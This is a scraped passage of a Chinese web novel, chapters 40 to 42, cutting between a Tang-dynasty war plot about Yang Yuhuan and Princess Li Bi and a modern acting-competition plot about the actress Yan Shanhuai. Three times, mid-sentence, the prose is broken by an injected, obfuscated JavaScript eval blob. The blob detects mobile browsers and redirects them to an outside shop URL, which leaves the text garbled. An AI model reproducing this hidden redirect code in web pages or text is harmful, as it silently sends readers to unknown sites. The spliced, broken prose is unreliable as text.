远处,烟尘越来越近,李归仁果然如她所料,只追她这支主力,对侯四娘部视若无睹。 另一边,高地上。 李璧看着杨玉环部与侯四娘部分道扬镳,又见李归仁大军紧追杨玉环不舍,唇角抿了抿。 “殿下,”身旁副将低声道,“杨玉环已突围,魏军分兵追击,我们是否……” “撤退?”李璧打断他。 她望着杨玉环等人远去的背影,忽然笑了。 “救都救了,”她轻声道,“那就再救一次。” “殿下?” “传令,全军袭扰李归仁后军,”李璧翻身上马,“记住,只射马,不恋战,一击即走。” “这太危险了!魏兵马上就会到啊,殿下!” “所以才更要快,”李璧已一马当先冲下高地,“走!” 五千军队如离弦之箭,从侧翼直插李归仁大军的尾部。 “嗖嗖嗖!” 箭矢从意想不到的角度飞来,专射马匹,魏军顿时人仰马翻,追击的速度再次受阻。 “混账!”李归仁回头,“分出一万人,去剿了那支苍蝇!” 令旗再动,又一支兵马分出,朝李璧军扑去,而此刻,杨玉环部已奔出十余里。 身后追兵虽被李璧两次袭扰拖延,却仍在不断逼近,薛荣回头望去,只见烟尘滚滚,魏军的先头骑兵已清晰可见。 “娘娘!”薛荣忽然勒马,调转马头,“末将愿率五百死士断后,为您争取时间!” 杨玉环心头剧震。 断后,即是送死。 她看着薛荣,看着这位从长安一路追随至今的黑脸将军,看着他眼中毫无畏惧的神色,喉头哽住。 留下,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987061|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死。 不留,大家一起死。 “娘娘,快走!”赵莽也调转马头,咧嘴笑道,“老子早就想和李归仁那老匹夫过过招了!” 更多的将士勒马转身。 就在杨玉环咬紧牙关,几乎要下令之时—— “嗖嗖嗖!” 熟悉的破空声再次响起! 箭雨从侧后方袭来,射入追得最近的魏军骑兵队列,马匹惨嘶倒地,追击的势头为之一滞。 远处,一杆“李”字大旗下,白袍银甲的女将张弓搭箭,一箭射倒一名魏兵,她的声音借着风传了过来:“杨玉环,就算你有仙母又如何?这次,我又救了你!你欠我的太多了。” 杨玉环回头。 只见李璧的五千军队以百人为队,在广阔的平原上游弋穿梭,他们骑射功夫极佳,马匹负重轻速度快,宛如一群灵巧的雨燕,不断从各个方向袭扰魏军。 而金吾卫这边—— 杨玉环低头看向身下战马。 这是妈妈带来的现代马种,肩高体壮,负重能力和耐力远超这个时代任何良驹,即便驮着重骑长途奔袭,速度竟也不落下风,她们才能在这次围剿中脱身。 幸好,有妈妈。 不过,不能只依靠妈妈。 “传令!”杨玉环不再犹豫,“丢弃所有重物——粮食器物,全速前进!” “是!” 重物落地,马蹄声顿时轻快了许多,金吾卫开始全力冲刺,现代马匹的优越性能彻底发挥出来,李璧在远处望见,眼中闪过一丝讶异,随即化为笑意。 “这就是仙马吗?跑的真快。”她自语道,缓过神来,看着身后追击的魏军,心中一惊,高声下令,“魏军要包过来了,打不过,打不过!咱们快跑啊!” 随着这句话,白袍军如潮水般退去,却退得极有章法,交替掩护,箭矢不时向后飞射,阻止追兵,远远看去,杨玉环和李璧两支军队,一东一南,在黄昏的平原上划出两道分离的轨迹。 不久后,李璧策马奔上一处矮坡,回头望了一眼杨玉环部远去的烟尘,轻声道:“杨玉环,这次的人情,改日我自会来讨。” 说罢,她调转马头,彻底消失在阴影中。 * 黎明。 晨光照亮了一片荒芜的河滩,杨玉环勒住战马,狠狠喘息,她座下良驹浑身被汗水浸透,口鼻喷着白气,几乎站立不稳。 她环视四周,所有马匹士卒全都疲倦不堪,被那该死的李归仁追击了一夜,很多次堪堪擦着边又甩开他们,别说马,人都要跑散架了。 薛荣踉跄下马,缓缓神,开始清点人数,许久,他走回来,脸上不安道:“娘娘,咱们现在只剩下四千一百二十七人了。” 四千余人。 杨玉环心中咯噔一下,从黑石峪突围时的八千人,到分兵后的五千精锐,再到现在,一夜奔袭,折损近千。 杨玉环沉默着,她望着东边渐亮的天空,望着身后来路,那里有永远留在那片平原上的兄弟,有被践踏成泥的躯体,有不甘闭上的眼睛。 寒风卷过河滩,带着血腥的味道,或许早该习惯死亡了,许久后,她才缓缓开口:“我们会为他们报仇的。” 然后,她又冷着脸下令道:“休息半个时辰,继续跑,李归仁不会这么轻易放弃的,小心停留太久被他包抄。” “是!” 半个时辰后,马蹄声再次响起,四千余骑沿着河滩,向北而去,身后,朝阳完全跃出地平线,将他们的影子拉得很长,很长。 天亮了。 颠簸的马背上,杨玉环忍受着长途奔袭的颠簸,不自觉皱眉,第一次和李归仁的交手结束了,只能勉强打个平手,甚至略输几分,她实在不甘心!该死的李归仁! 她眯起眼睛,心道: 下一次,就不一定了。 40.第 40 章 “我们应该把镜头投向哪里?” 《演技的诞生》录制现场,是一个由旧厂房改造而成的巨大开放空间,挑高的穹顶裸露着锈迹斑斑的钢架,粗粝的水泥地面被拖得反光,四周架设着数十台高清摄像机,俯瞰着场内的一百张年轻面孔。 场地外围,临时搭建的观察席上,坐着几位受邀前来的导演、制片人、表演指导,以及特邀媒体,他们低声交谈着,看着所有新人演员。 晏山槐站在候场区房间里,她身上是节目组统一发放的黑色训练服,料子普通,剪裁宽松,混在一百个同样装扮的年轻人里,并不起眼。 她低下头,解锁手机。 屏幕上,是她的微博界面。 头像是一张干净的证件照,背景是蓝天,她对着镜头微笑,眼神清澈,ID旁边,挂着一个标签:【郝美影视签约艺人】。 就在昨晚,工作室用这个账号发布了第一条正式宣传博文,配图是一张海报。海报上,她穿着简单,侧身回眸,光影勾勒出她利落的下颌线,文案写着:“新人演员晏山槐,参与#演技的诞生#,请期待我的表演,谢谢大家。” 发送时间:19:30。 截至目前:转发47,评论89,点赞312。 评论区里,除了零星几个“加油”“看好你”的礼貌性鼓励,更多是毫不客气的质疑和嘲讽。 “空降兵吧?长得也就那样。” “果然是女人开的公司,就知道捧自己人。” “演技的诞生?我看是关系的诞生吧。” “这海报P得妈都不认了。” “坐等翻车。” 晏山槐的手指在屏幕上停顿了几秒,然后,按熄了屏幕,黑暗的镜面映出她此刻平静的脸,她把手机塞回裤袋,深吸了一口气。 昨晚,倪露把她叫到办公室,开门见山道:“山槐,明天的录制,是直播加录播的形式,观众可以实时看到每个人的表现,也能随时发弹幕评论。” “节目组会设置十几个固定机位,跟拍摄像更是不计其数,但镜头,永远只会追逐最有效果、最有冲突、最能吸引眼球的人。” “我和节目组都不会,因为你是郝总第一个签约的艺人,就给你任何特殊照顾,甚至,”倪露推了推眼镜,镜片后的目光变得锐利起来,“你会成为众矢之的,所有人都会想踩着你上位,想得到镜头想证明自己。所以你只能靠你自己,拿出真本事,硬碰硬地抢。” 晏山槐只是点了点头:“我明白,倪露姐。” “明白就好。”倪露站起身,走到她面前,拍了拍她的肩膀,“记住,这是战场,加油吧。” 回忆散去。 现场导演拿着扩音器,声音透过音响传来:“所有选手注意!五分钟后,进入主录制区!请检查你们的麦克风!” 人群出现一阵轻微的骚动,有人紧张地整理衣领,有人反复深呼吸,一百人陆续进入录制区,晏山槐摸了摸别在领口的微型麦克风,确认牢固,然后,她推开面前玻璃门。 “吱呀——” 当她一步踏入主录制区的瞬间,原本有些嘈杂的现场,似乎微妙地安静了一瞬。 几乎所有目光,或明目张胆,或状似无意,都聚焦了过来,看向了她,那些目光里,有好奇,有审视,有嫉妒,有不服,也有毫不掩饰的敌意。 晏山槐脚步未停,径直走向场地中央那片被灯光打得最亮的区域,她知道,从她签下合同、从她被李嘉豪当众针对、从她在训练基地被郝美丽点名那一刻起,就注定了她会站在这个位置。 她是靶子。 也是所有人的目标。 只要赢了她,就等于向郝美影视、向所有观众证明了实力,就等于半只脚踏进了那个无数人梦寐以求的“S级项目”《凤起长安》。 她走到中央,停下,正面,是一台缓缓推进的轨道摄像机,黑洞洞的镜头几乎要抵到她的脸上,侧面,几个手持摄像师也迅速围拢过来。 所以。 晏山槐抬起眼,没有看周围任何一个人,只是直视着正前方的主镜头,她的眼神很静,然后,她开口,声音通过领口的麦克风,清晰地传遍了整个录制区,也同步传入了直播频道: “大家好,我是晏山槐。” “我想说,我会赢了在场所有人,第一名只能是我。” 话音落下的刹那—— 直播弹幕,观看人数飞速攀升,直播间屏幕上,评论如同海啸般滚过: “卧槽?!这么狂?” “新人?这口气比影后还大!” “666,够自信,我喜欢!” “哪儿来的底气啊?就凭她是郝美嫡系?” “郝美丽为了捧人也太拼了吧,剧本痕迹要不要这么重?” “恶心,还没开始就内定了吧?” “坐等打脸!” “有一说一,这眼神有点东西……” “骂归骂,热度起来了,郝美影视营销有一手。” 录制现场,寂静持续了大约三秒。 然后,一声轻笑打破了沉默。 人群自动分开一条道,一个穿着同样黑色训练服,却仿佛能穿出不一样感觉的女子走了出来。 她身量高挑,肌肤白皙,一张脸明媚鲜妍,即便不施粉黛,在灯光下也耀眼得让人难以忽视,尤其是一双眼睛,眼尾微微上挑,看人时带着一丝不易察觉的锐利。 很多人都认出了她——盛一禾。 童星出道,科班出身,虽然没演过什么大制作的女主角,但在几部热播剧里饰演过的娇蛮女配、白月光初恋,都给人留下了深刻印象。 社交媒体上有几十万粉丝,算是这一百人里,知名度最高、也最被看好的几个之一,她本不该出现在这里,以她的资历和人气,参加这种“素人选拔”的节目,有些自降身价。 但她偏偏来了。 盛一禾走到晏山槐面前,隔着一臂的距离停下,她脸上带着恰到好处的的笑容,眼神却直直地迎上晏山槐的目光,毫不退缩。 “是吗?”盛一禾开口,声音清亮悦耳,带着一点点尾音,落入晏山槐耳中,“我可不服气。” 她微微歪头,笑意更深,也更有攻击性:“晏山槐,我要挑战你,第一名,是我的。” 这句话,像是一颗投入油锅的水滴,也激起了其他人的胜负欲,又一个男生站了出来,身材健硕,眉眼硬朗,他抱着手臂,挑眉道:“我也不服,晏山槐,话别说太满。” 另一个女孩也发言:“晏山槐,我才不会输给你!” “还有我!” “凭什么就你一定是第一?” 一个,两个,三个……越来越多的人站了出来。 几个导演和制片人在观察席上交换着眼神,有人点头,有人摇头,也有人饶有兴趣的继续观看。 镜头在她们几人来回切换着。 直播弹幕更是疯了一样刷新: “打起来!打起来!” “盛一禾好刚!爱了爱了!” “这才有意思嘛!” “那个晏山槐脸都僵了,装逼翻车了吧?” “我怎么觉得她是真的不怕……” “剧本!绝对是剧本!” 短短几分钟,直播间就有了10万人。 场中,晏山槐依旧站在原地,面对着七八个站出来公开挑战她的人,以及更多隐藏在人群中跃跃欲试的目光,她的表情没什么变化,甚至连眼神都没有丝毫波动。 她只是再次看向主镜头,对所有人说:“好啊,我等着你们所有人的挑战。” 这句话更狂妄,盛一禾脸上的笑容不变,眼底的光芒却闪了闪,那个硬汉小生皱了下眉,其他挑战者有的面面相觑。 现场导演立刻抓住时机,拿起扩音器:“很好!看来大家都很有斗志!那么,我们第一个环节——角色即兴挑战,现在开始!” “规则很简单:大屏幕会随机播放一段经典影视剧片段,没有台词提示,只有情境和人物关系!倒计时三十秒准备,然后,由抽签选中的选手当场演绎!” 巨大的LED屏幕亮起,开始快速滚动各种影视剧的封面和片段闪回,所有人的心都提了起来。 第一战,就要开始了。 谁会被第一个抽中? 又会演绎什么样的片段? 现场所有疯狂镜头捕捉着每一张脸上细微的表情,这场名为演技的战争,在聚光灯下,拉开帷幕。 * 同一片天空下,幽州东南,莽莽群山。 秋意已深,山风凛冽,吹过光秃秃的枝桠,发出呜呜的响声,如同鬼哭,一片背风的谷地中,篝火勉强燃烧着,火光微弱,映着周围或坐或卧的人们。 侯四娘靠坐在一块山石上,怀里抱着她的刀,刀鞘上的皮革已经磨损得发白,她身上的皮甲沾满泥污,脸颊被山风吹得皲裂,嘴唇也起了干皮。 她小心翼翼地,从怀里摸出最后半块胡饼。饼又干又硬,却让她馋的不行,肚子里太空了,真想一口吞下这块饼。 可她咽了口唾沫,喉结滚动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989670|191074||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一下,就将胡饼掰成了三小块。 “四娘,你吃吧,我不饿。”唐四娘坐在她左手边,正低头用一块破布擦拭着卷刃的刀,头也没抬。 王二娘坐在对面,拨弄着篝火里半死不活的几根枯枝,闻言也摇头:“我也不饿,你昨晚就没怎么吃。” 侯四娘没说话,只是伸手,将两块饼硬塞进唐四娘和王二娘手里。 “拿着。”她的声音沙哑,“咱们姐妹一场,说好了同生共死,有福同享,有难同当,一块饼分着吃怎么了?” 唐四娘握着手里硬塞来的硬饼,低下头,沉默一会后,先小口地舔干净了饼渣,在嘴里含了很久,品出一点滋味,许是被火熏到了眼睛,眼眶微热起来。 侯四娘站起身,拍了拍身上的尘土,朝谷地深处走去,她们的粮食早就见了底,山里的野果、能吃的草根也被搜刮干净,很多士兵抱着兵器,蜷缩在一起取暖,脸色青白。 侯四娘走过他们身边,不时停下来,蹲下身,拍拍年轻士卒的肩膀,低声问两句:“伤口还疼不疼?冷不冷?”回应她的,多是沉默的摇头,或勉强挤出的笑脸。 苦?怎么不苦,说?又要怎么说。 侯四娘不是不懂。 于是,她走到谷地中央,说:“弟兄们,还记得安禄山刚打过来的时候吗?” 不少人抬起头,看向她。 “那时候,咱们手里有什么?锄头、柴刀、削尖的木棍!咱们身上有什么?粗布衣服,光着脚板!”侯四娘的目光扫过一张张脸,“可咱们怕了吗?咱们跪下等死了吗?” “没有!”人群里,有人低声应和。 “对,没有!” “咱们拿起了能拿起的家伙,守住了村口,护住了爹娘!因为咱们知道,跪着是死,站着也是死,那为什么不站着死?为什么不拉着那些狗贼一起死?!” 越来越多的目光汇聚过来。 “后来,咱们姐妹三人,把十里八乡愿意拼命的弟兄们聚到一起,咱们有了刀,有了枪,咱们穿过州县,跟叛军打,跟土匪打!死过兄弟吗?死过!可咱们后退过吗?” “没有!”这一次,回应的人多了起来。 “咱们北上,是为了什么?是为了跟仙女娘娘汇合,是为了杀更多的叛军,是为了让这河北大地,不再有杀人吃人的惨事!” “现在,娘娘为了引开李归仁的大军,被迫转移,咱们跟娘娘分开了,粮草不足,前路不明。” 她看着每一个人:“可那又怎么样?” “难道没有娘娘,咱们手里的刀就钝了?难道没有补给,咱们的血就凉了?难道遇到点困难,咱们当初豁出命来也要讨个公道的胆子,就没了?!” “我侯四娘把话放在这里!就算没有娘娘,就算只剩最后一个人,最后一口气,我侯四娘,唐四娘、王二娘,还有咱们所有从尸山血海里爬出来的弟兄,也会战到底!” “咱们要让李归仁知道,让所有叛军知道,让这天下人知道,河北的百姓,不是任人宰割的牛羊!咱们的命,咱们的家乡,得由咱们自己手里的刀,说了算!” 话音落下,山谷中一片寂静。 但紧接着—— “说得好!” “四娘说得对,死战到底!” “跟叛军拼了!咱不怕!” 所有士卒都站了起来,他们挥舞着手中的兵器,尽管饥饿,尽管寒冷,但每个人身上全是血性,唐四娘和王二娘也握紧了手中的刀,站到侯四娘身边,既生死不惧,又何畏前路! 叫这全天下人见见她们的厉害! 就在这时,谷口放哨的士卒跑了进来:“报!谷外来了一小队人马,说要见侯四娘将军!” 侯四娘眉头一拧,与唐四娘、王二娘迅速交换了一个眼神,这个时候有兵马见她? “有多少人?” “大概三五十骑,看着很精悍。” “走,去看看。” 穿过狭窄的谷道,来到入口处,只见外面空地上,果然肃立着约五十骑,为首一骑,是个年轻女子,身姿挺拔,面容清秀中带着书卷气。 那年轻女子见侯四娘等人出来,目光在她们脸上扫过,最后落在明显是首领的侯四娘身上,拱手,朗声问道:“可是侯四娘将军?” 侯四娘上前一步,打量着她,道:“我是侯四娘,你是何人?” 那女子微微一笑,道:“在下达奚瑜,杨玉环娘娘麾下女官,奉娘娘之命寻访将军已有多日,将军真是叫我一顿好找啊。” “还好,幸不辱命。” 41.第 41 章 高山小镇,隐于云雾深处。 镇子很小,一条青石板路蜿蜒贯穿,此处地势险要,若非达奚瑜心思缜密,也难以寻到这处绝佳的藏身之所。 达奚瑜带着从长安领回来的那些世家女子,以及原先跟随杨玉环的女官们,将这里打理得井井有条,刘小丫身子渐重,行动不便,也被妥善安置,由专人照料。 达奚瑜站在镇口,今日有贵客将至,她亲自迎候。 山风拂过,带来松涛阵阵,不多时,一队人马出现,为首一人,白袍银甲,身姿挺拔,正是和政公主李璧。 达奚瑜迎上前去,躬身一礼:“公主殿下,远来辛苦。” 李璧利落地翻身下马,将马鞭丢给身后亲随,目光扫过达奚瑜,嘴角微扬:“我知道你,你是个有本事的。” “殿下过奖,” 达奚瑜神色不变,侧身引路,“请。” 穿过静谧的青石板路,来到议事厅堂,杨玉环端坐主位,侯四娘、唐四娘、王二娘三人按刀立于她身后。 李璧踏入厅堂,目光便落在了侯四娘三人身上,笑道:“娘娘手下倒是能人辈出,这三位女将军,真是人中豪杰。” 杨玉环微微一笑,抬手示意:“公主请坐,倒是公主你,拉起一支劲旅转战千里,直抵这幽燕腹地,才是真正的巾帼不让须眉。” 李璧自顾自地在杨玉环对面坐下,姿态洒脱,毫无拘束之感,闻言摆了摆手,道:“没什么大不了,不过是把公主府卖了,凑了些银钱,招募了些敢拼命的壮士罢了,乱世之中,金银留着也是累赘,不如换成刀枪实在。” 她说得轻描淡写,但厅内众人都明白,能在这短时间内拉起一支能战之兵,其胆识魄力,绝非寻常女子可比。 杨玉环真心赞道:“公主果决非常人所能及。” “好了,客套话就不必说了。”李璧端起桌上达奚瑜奉上的粗茶,喝了一口,微微蹙眉,随即放下,看向杨玉环,开门见山道。 “杨玉环,我今日是来讨要人情的,黑石峪一战,若非我及时出现,扰乱了李归仁的部署,你和你这几千精锐,恐怕没那么容易脱身吧?” 杨玉环迎着她的目光,坦然道:“公主援手之恩,杨玉环铭记在心,不知公主想要什么?” 李璧身体微微前倾,一双明眸灼灼生辉,毫不客气地说:“你有什么,我都要。” 此言一出,侍立杨玉环身后的三人眉头微蹙,按着刀柄的手也紧了紧,达奚瑜垂手站在一旁,眼神微动。 杨玉环闻言挑眉,脸上笑意不减,语气却带了几分玩味:“都要?公主的胃口可不小。” 李璧笑得愈发灿烂,目光扫过杨玉环身后的侯四娘、达奚瑜,以及厅外隐约可见的金吾卫身影:“毕竟,你杨玉环的命很珍贵,瞧瞧,你手底下这么多能人将士,可都指着你呢。” 杨玉环轻轻摇头,笑容里多了一丝暖意:“公主说笑了,我的命珍贵,他们的命,同样珍贵。” 她略一沉吟,又道,“既然公主是为平叛而散尽家财,那我便再助公主一笔军资如何?我手中尚有一些银两……” “你有多少?”李璧立刻追问。 “一百万两。”杨玉环道。 话音未落,李璧斩钉截铁:“我全都要。” 杨玉环:“我这一百万两……” 李璧打断她:“我救了你的命。” 杨玉环看着她,试图讲理:“公主,这一百万两并非小数目……” 李璧再次打断:“我救了你的命。” 杨玉环看她:“换个理由。” 李璧从善如流:“那好吧,我救了你部下几千人的命,这总没错吧?” 杨玉环:“……” 杨玉环不理她,继续道:“我们可以用这笔钱再次征兵……” 李璧:“你这样,你把钱给我,我帮你征。” 杨玉环彻底沉默下来,只瞪她。 李璧毫不客气伸出手:“把钱给我。” 眼见两人僵局,达奚瑜上前一步,对着李璧微微一福,开口道:“公主殿下高义,援手之恩,我等没齿难忘,只是不知,公主打算如何用这笔银子为我等征兵?征来的兵士又如何?” 李璧目光转向达奚瑜,这个小姑娘倒是有趣,她答道:“我看你们这支金吾卫,人马俱甲,甚是精良,我可以依样画葫芦,再给你们招募一批铁骑。” 达奚瑜并未被这话唬住,继续问道:“却不知公主计划为我们征召多少铁骑?装备马匹能否齐备?” 李璧沉吟片刻,道:“大概两千铁骑。” 两千铁骑?杨玉环闻言,挑眉看了一眼达奚瑜,眼神交汇间,彼此心意已通。 达奚瑜得到示意,再次上前半步,逼向李璧:“两千铁骑?公主,恕我直言,这似乎与一百万两的价值相去甚远。我金吾卫尚有六七千可战之兵,若要增强实力,至少扩充至一万铁骑,公主以为如何?” 李璧闻言,几乎要跳起来:“一万铁骑?达奚姑娘,你可知养一个铁骑要耗费多少银钱?李归仁坐拥幽州,养了十万兵马,铁骑也不过两万之数!” “最重要的是,这一百万两银子中最少有一半是你们给我救命钱,不行不行,绝对不行!” 达奚瑜并未退缩,反而道:“公主,如今叛军势大,你我既已联手,便是唇齿相依。若能早日平定叛乱,收复河山,岂非公主所愿?” “若眼下银钱实在不凑手,可否先尽力筹措,不足之数,权当我等暂借公主的,待日后局势稳定,必当连本带利奉还。” 李璧瞪大了眼睛,气笑了:“哈!你还想欠着我的?达奚瑜,你这算盘打得可真响!” 达奚瑜微微躬身,盈出一张笑脸,甜甜的说道:“公主,此言差矣,公主既有匡扶天下之心,想必不会因区区银钱之事,而坐视平叛良机流逝,为了早日结束这乱世,还请公主答应罢!” 李璧被这一番连消带打的话堵得一时语塞,她看看达奚瑜,又看看忍住笑意的杨玉环,心里不服,脸上也带了出来,不肯说话了。 杨玉环见火候差不多了,终于轻咳一声,开口道:“公主,达奚瑜所言不无道理,你我都欲早日铲除国贼,还百姓太平,此行于大局有利啊。” 李璧看着杨玉环这张倾国倾城的脸,突然笑道:“好一张利口!杨玉环,你身边真是藏龙卧虎。这笔买卖,我可以考虑,不过……” 她站起身,走到杨玉环身边,俯身在她耳边低声耳语了几句。杨玉环听着,先是微微一怔,随即挑眉看向李璧,半晌才道:“公主真是好算计。” 李璧直起身,拍了拍手,又挂上那副明媚的笑:“谈不上算计,互利互惠而已,就看娘娘您,能不能接受了。” 杨玉环思量许久,终于,轻轻点了点头。 * 《演技的诞生》拍摄地转移到了一处马术俱乐部。 开阔的草场边缘设置了箭靶,十几架摄像机分布在跑道两侧,还有无人机在空中盘旋,捕捉全景。 这次的挑战项目是古装骑射,要求选手在策马奔驰的过程中完成射箭动作,不仅考验马术和箭术,更考验在动态中展现表演张力的能力。 这对于许多现代演员来说,确实很有难度,果然,任务下发后,不少选手面露难色,窃窃私语起来。 有几人尝试着上了马,但光是控马慢跑就很勉强,更别提开弓放箭了,权衡之下,一些人选择了弃权,与其在镜头前狼狈出丑,不如调整心态准备后续任务。 不得不说,这是一个明智选择。 不远处,盛一禾隐晦地瞥了晏山槐一眼后,就率先出列,朗声道:“导演,我先来吧。” 她今天穿了一身利落的骑射装束,衬得身姿挺拔,只见她熟练地抚了抚马颈,利落地翻身上马,缰绳一抖,骏马小跑起来。 等进入射程后,她侧身、取箭、搭弓、瞄准,一系列动作如行云流水,带着一种高清镜头下都惊心动魄的美感。 “嗖!” 箭矢扎进了远处的箭靶红心。 “好!漂亮!” 现场响起一片惊叹和掌声。 这一箭实在漂亮,直播间都涨了几万热度,导演组也传来许多赞许的声音,盛一禾控马回转,优雅地回到起点,下马时,状若无意的扫过晏山槐,露出一个笑。 直播间的弹幕也沸腾了: “啊啊啊姐姐好帅!” “这才是古装剧女主该有的样子!” “又美又飒!盛一禾稳了!” “对比一下某些只会放狠话的……” 晏山槐只是平静地看着,她没准备立刻上场。 紧接着,那位硬汉小生也上场了。他叫沙乌,沙乌也很聪明,将重点放在了策马奔腾的镜头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她没看箭靶,径直走到脸色变幻不定的盛一禾面前,明明她的胸口还在剧烈起伏,脸上却带着在镜头前露出的第一个笑容,她对盛一禾说:“我赢了。” 说完,她不再看任何人,转身离开了拍摄区域,将一片哗然留在身后。 导播间反应极快,立刻将那个摄像头捕捉到的最后画面切到了直播主屏幕上,所有观众又一次看到了那令人心悸的画面,晏山槐眯着眼射出了那支箭,似乎向他们射来,紧接着,屏幕一黑,信号中断的提示符显示。 直播间沉寂一秒后: “卧槽!!!!!” “她疯了?!射摄像头?!” “这特么是演戏还是玩命?!” “虽然但是……我服了!晏姐牛逼!” “盛一禾是表演,她这是实战吗?” “吓死我了!差点以为要出直播事故!” “这是真正的用命在演?” 盛一禾站在原地,她第一次感到不知所措,她输了?她赢了?可是,可是…… 当晚,训练结束后,晏山槐独自一人来到郝美丽办公室,她走到那扇熟悉的门前,抬手想敲门,却又有些犹豫,最终,她还是敲了敲门,里面没有回应。 旁边的门开了。 “晏小姐?有事吗?”一位秘书客气地问。 “我想见一下郝总。”晏山槐说。 “抱歉,郝总不在公司。”秘书回答道。 晏山槐眼中闪过一丝失望,点了点头:“好的,谢谢,那我先走了。” 她转身离开,走到电梯口时,忍不住又回头看了一眼那扇紧闭的办公室门,门后的世界,是那个给她机会的女人,她们之间,似乎有些遥远。 沉默片刻,她按下电梯按钮,电梯门合上,映出她平静却坚定的脸庞,她想了想,打开手机,看着已经十几万还在迅速增长的粉丝数,微博热搜上也多次她的名字,关于射箭的直播切片点赞上百万,她火了。 她发出了第一条自己编辑的微博。 “很多时候,大家对于女演员的定义一直都是美丽的、温和的、无害的,可偏偏我不是这样的人,这只箭只是我射向命运的第一箭。” 关掉手机,她去了训练场。 郝总不在,她就继续练习,路还长,她要用更多的赢,去叩响那扇门,去站在她的身边。 42.第 42 章 郝美丽从训练场下来的时候,汗水打的全身都湿透了,她接过助理递来的毛巾擦汗,另一只手习惯性地伸向旁边。 助理连忙将平板递过去,语气有些小心翼翼:“郝总,您看看这个,晏山槐被骂上热搜了。” 郝美丽擦汗的手一顿,下意识皱起眉头:“她干嘛了?” “和那100人打群架了?” “赢了没?” 她第一反应就是别人联手压制晏山槐,现场起了冲突,以晏山槐那不服软的性子,和别人打起来也正常,不知道赢了没。 “不是打架,”助理赶紧解释,“是录制骑射环节的时候,她一箭把一台跟拍的摄像机镜头射穿了。” 郝美丽:“……?” 她拿过平板,都不用特意去搜,#晏山槐射爆摄像头# 的词条已经挂在热搜前列,后面还跟着一个鲜红的“爆”字。 点进去,热门是一条节目官方发布的短视频,画面里,晏山槐策马奔驰,在身体几乎失去平衡的瞬间,侧身捞箭、回身张弓,动作惊险至极,最后镜头一黑。 热搜下的评论以批评居多: “节目组安全措施怎么做的?这太危险了!” “虽然但是……这姐们是真虎啊!” “故意的吧?哗众取宠!” “黑子滚粗!这叫敬业!你行你上?” “郝美影视出来的都这么疯吗?” “只有我好奇摄像头多少钱吗?” 郝美丽快速滑动屏幕,看着各种角度的动图、分析帖,还有一些少量粉丝和大量黑子的骂战,眉头越皱越紧。她放下平板,揉了揉太阳穴,吐出三个字:“不像话。” 助理屏息凝神,等着下文。 没想到郝美丽手指一滑,就看到晏山槐热搜下面另一个热搜,#女明星棋牌室抽烟#,点进去一看,一位女明星和朋友在棋牌室打麻将时抽烟被拍到了,评论里同样是诸多批评,郝美丽翻了个白眼,男明星睡一圈无事发生,女明星抽个烟斤斤计较,娱乐圈真有你的。 她反手就关注了这位女明星。 “去找下王硕,看看以后有没有机会能不能和这位女士合作,薪酬比例给最高的。”郝美丽发话。 “好的,郝总。”助理点头。 然后,郝美丽继续处理自己家崽儿的事,她沉吟片刻,吩咐道:“给倪露打电话,让她以公司名义发个公告,内容就以……” “好的郝总。”助理立刻应下,转身去联系倪露。 半小时后,郝美影视的官方微博发布了一条简洁的公告:“今日节目录制中,我司艺人晏山槐在完成骑射项目时,因力求动作真实,未能完全掌控力度与方向,导致设备意外受损。我司对此深表歉意,相关维修费用将全额由我司承担,并将从艺人晏山槐劳务收入中扣除。我司始终将安全置于首位,今后将加强对艺人的安全培训与引导,感谢各位网友的监督与关注。” 【从艺人晏山槐劳务收入中扣除】特别显眼。 公告一出,评论区瞬间涌入大量网友: “哈哈哈神特么从工资里扣!” “郝美影视:错我们认,钱她出!” “这公告有点东西,又刚又怂的。” “晏山槐:老板,你看我像有钱的样子吗?” “摄像头:我当时害怕极了。” “所以到底赔多少钱?” 很快,#晏山槐工资扣没了吗?#、#郝美影视公告# 等新词条又爬上了热搜榜。 画风逐渐从惊悚危险转向了调侃玩梗,有人剪辑晏山槐出道第一件事是扣工资的热门视频,甚至有人跑到晏山槐最新那条微博下留言:“姐,摄像头多少钱?透露一下呗,我们众筹给你赔?” 郝美丽刷到这条评论,挑眉,然后拿出手机,打开微信,找到晏山槐,点击转账,输入金额:200000,备注:奖金。 然后,想到晏山槐几乎要被甩下马的危险画面,郝美丽皱了一下眉,又发了条消息:危险行为处罚100000元,罚款转给倪露。 “这个晏山槐。” 然后,她把平板递还给助理,没再多说什么,热度是有了,但下次可不能再这么玩了,安全永远是第一位的。 等到晚上,晏山槐训练结束,掏出手机,不可置信的看了三遍信息,发了好一会呆。 然后,她开始打字: 收到,郝总(删除) 抱歉,郝总,我以后不会了(删除) 打了半天,她发现她真的不知道该说什么,于是默默收下这20万,又转给了倪露10万。 倪露:? 晏山槐把截图发给她。 倪露:收到。另外,你射坏的那个摄像头是专业级电影机索尼FX6V,京东价62599元,请支付。 